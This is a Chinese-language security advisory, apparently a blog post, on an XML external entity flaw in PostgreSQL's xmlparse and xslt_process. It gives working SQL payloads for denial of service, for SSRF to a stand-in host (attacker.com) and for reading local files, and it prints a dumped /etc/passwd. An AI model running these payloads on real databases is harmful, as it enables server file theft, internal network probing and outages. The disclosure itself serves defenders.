最近国外安全人员发现了一个Postgresql（所有版本）基于错误XML外部实体执行的高危漏洞。
经测试，该漏洞可以从数据库服务器请求到内网（SSRF-服务器端请求伪造），并可以利用xml实体注入读取任意本地文件。

实例：

DoS:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')

SSRF:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')

Error-based XXE:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

ERROR: invalid XML document
DETAILS: /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
exec 9<&0 </etc/fstab ^
/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
exec 9<&0 </etc/fstab ^
/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
exec 9<&0 </etc/fstab ^
Entity: line 1: parser error : Failure to process entity abc
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
^
Entity: line 1: parser error : Entity ‘abc’ not defined
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;

最新更新

通过从XXE到XSLT格式的转换，可以读取到服务器任意数据，测试语句如下：

SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*">  <xsl:element name="samples">    <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);

xslt_process

<?xml version=”1.0″?>
< samples><sample>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
nslcd:x:101:103:nslcd name service LDAP connection daemon,:/var/run/nslcd/:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
puppet:x:109:111:Puppet configuration management daemon,:/var/lib/puppet:/bin/false
Debian-exim:x:111:115::/var/spool/exim4:/bin/false
alexandro:x:1000:1000:Alexander Golovko,:/home/alexandro:/bin/bash
oxod:x:1001:1001:,:/home/oxod:/bin/bash
MysqL:x:103:105:MysqL Server,:/var/lib/MysqL:/bin/false
postgres:x:104:107:Postgresql administrator,:/var/lib/postgresql:/bin/bash
oracle:x:1002:1002::/u01/app/oracle:/bin/bash
< /sample></samples>

(1 row)

拓展阅读

XML实体注入漏洞安全警告
http://www.80sec.com/xml-entity-injection.html

参考文献
http://lab.onsec.ru